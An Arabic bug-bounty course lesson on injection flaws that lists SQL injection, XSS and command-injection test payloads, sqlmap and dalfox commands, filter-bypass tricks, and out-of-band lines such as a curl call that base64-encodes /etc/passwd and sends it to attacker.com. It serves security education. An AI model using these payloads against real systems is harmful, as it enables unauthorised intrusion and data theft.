الدرس 10 من 24

فئات ثغرات الويب

هجمات الحقن

4 دقيقة للقراءة

الحقن هو رقم 5 في OWASP Top 10:2025 لكنه يبقى عالي التأثير. SQL injection، XSS، وcommand injection يمكن أن تؤدي لانتهاكات البيانات، استيلاء الحسابات، وRCE.

SQL Injection

إدخال المستخدم يُنفذ كاستعلامات SQL:

الكشف

# حمولات اختبار أساسية
' OR '1'='1
" OR "1"="1
' OR '1'='1' --
'; SELECT * FROM users --
1' AND '1'='1
1' AND '1'='2  # قارن الاستجابات

SQLi القائم على الأخطاء

فرض أخطاء لتسريب البيانات:

# MySQL
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.tables GROUP BY x)a) --

# نسخة أبسط
' AND extractvalue(1,concat(0x7e,(SELECT version())))--

SQLi الأعمى

لا أخطاء مرئية—استنتج من السلوك:

# قائم على Boolean
' AND 1=1 --  # شرط صحيح
' AND 1=2 --  # شرط خاطئ
# قارن اختلافات الاستجابة

# قائم على الوقت
' AND SLEEP(5) --           # MySQL
' AND pg_sleep(5) --        # PostgreSQL
'; WAITFOR DELAY '0:0:5' -- # MSSQL

الاختبار الآلي

# استخدام sqlmap
sqlmap -u "https://example.com/search?q=test" --dbs --batch

# مع طلب ملتقط
sqlmap -r request.txt --dbs --batch

# معامل POST
sqlmap -u "https://example.com/login" --data="user=test&pass=test" -p user

Cross-Site Scripting (XSS)

حقن JavaScript في صفحات الويب:

الأنواع

النوع الثبات مثال
منعكس طلب واحد صفحة نتائج البحث
مخزن قاعدة البيانات التعليقات، الملفات الشخصية
DOM-based جانب العميل التلاعب بجزء URL

حمولات الاختبار

<!-- أساسي -->
<script>alert('XSS')</script>

<!-- معالجات الأحداث -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

<!-- تجاوز الفلتر -->
<ScRiPt>alert('XSS')</ScRiPt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror="alert('XSS')">

<!-- DOM XSS -->
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>

حمولات خاصة بالسياق

<!-- داخل سمة HTML -->
" onfocus=alert('XSS') autofocus="

<!-- داخل JavaScript -->
';alert('XSS');//
</script><script>alert('XSS')</script>

<!-- داخل معامل URL -->
javascript:alert('XSS')

الأتمتة

# استخدام dalfox
dalfox url "https://example.com/search?q=FUZZ" --blind https://your-callback.com

# URLs متعددة
cat urls.txt | dalfox pipe --blind https://callback.com

Command Injection

أوامر نظام التشغيل تُنفذ عبر التطبيق:

الكشف

# حمولات Linux
; ls -la
| cat /etc/passwd
`whoami`
$(id)
; sleep 10  # قائم على الوقت

# حمولات Windows
& dir
| type C:\Windows\win.ini
; ping -n 10 127.0.0.1  # قائم على الوقت

الدوال الضعيفة الشائعة

اللغة الدوال الخطيرة
PHP system()، exec()، shell_exec()، passthru()
Python os.system()، subprocess.call()، eval()
Node.js child_process.exec()، eval()
Java Runtime.exec()

منهجية الاختبار

# الخطوة 1: ابحث عن إدخال قد يصل لأوامر OS
# - عمليات الملفات (معامل اسم الملف)
# - عمليات الشبكة (hostname، IP)
# - عروض معلومات النظام

# الخطوة 2: اختبر بحمولات قائمة على الوقت
# حقن: ; sleep 10
# إذا استغرقت الاستجابة 10 ثوانٍ = ضعيف

# الخطوة 3: استخرج البيانات
# حقن: ; curl https://attacker.com/$(whoami)
# تحقق من سجلات خادمك

الاختبار خارج النطاق

عندما لا توجد استجابة مباشرة—استخرج عبر DNS/HTTP:

# استخراج DNS
; nslookup $(whoami).attacker.com

# استدعاء HTTP
; curl https://attacker.com/?data=$(cat /etc/passwd | base64)

# استخدام Burp Collaborator
; nslookup <burp-collaborator-id>.burpcollaborator.net

أمثلة مكافآت من العالم الحقيقي

النوع الشركة التأثير المكافأة
SQLi Yahoo الوصول لقاعدة البيانات 10,000 دولار
Stored XSS Twitter استيلاء على الحساب 7,500 دولار
Command Injection Netflix RCE على الخادم 15,000 دولار
Blind SQLi Uber استخراج بيانات المستخدمين 5,000 دولار

نصائح الاختبار

  1. اختبر كل إدخال: حقول النماذج، الرؤوس، الكوكيز، معاملات URL
  2. تحقق من سياقات مختلفة: HTML، JS، SQL، الأوامر
  3. استخدم الترميز: URL-encode، HTML-encode الحمولات
  4. سلسل الثغرات: XSS + CSRF = استيلاء على الحساب

نصيحة احترافية: WAFs الحديثة تحظر الحمولات الأساسية. تعلم حيل الترميز وتجاوزات خاصة بالسياق.

في الدرس التالي، سنستكشف ثغرات المصادقة والجلسة. :::

اختبار

الوحدة 3: فئات ثغرات الويب

خذ الاختبار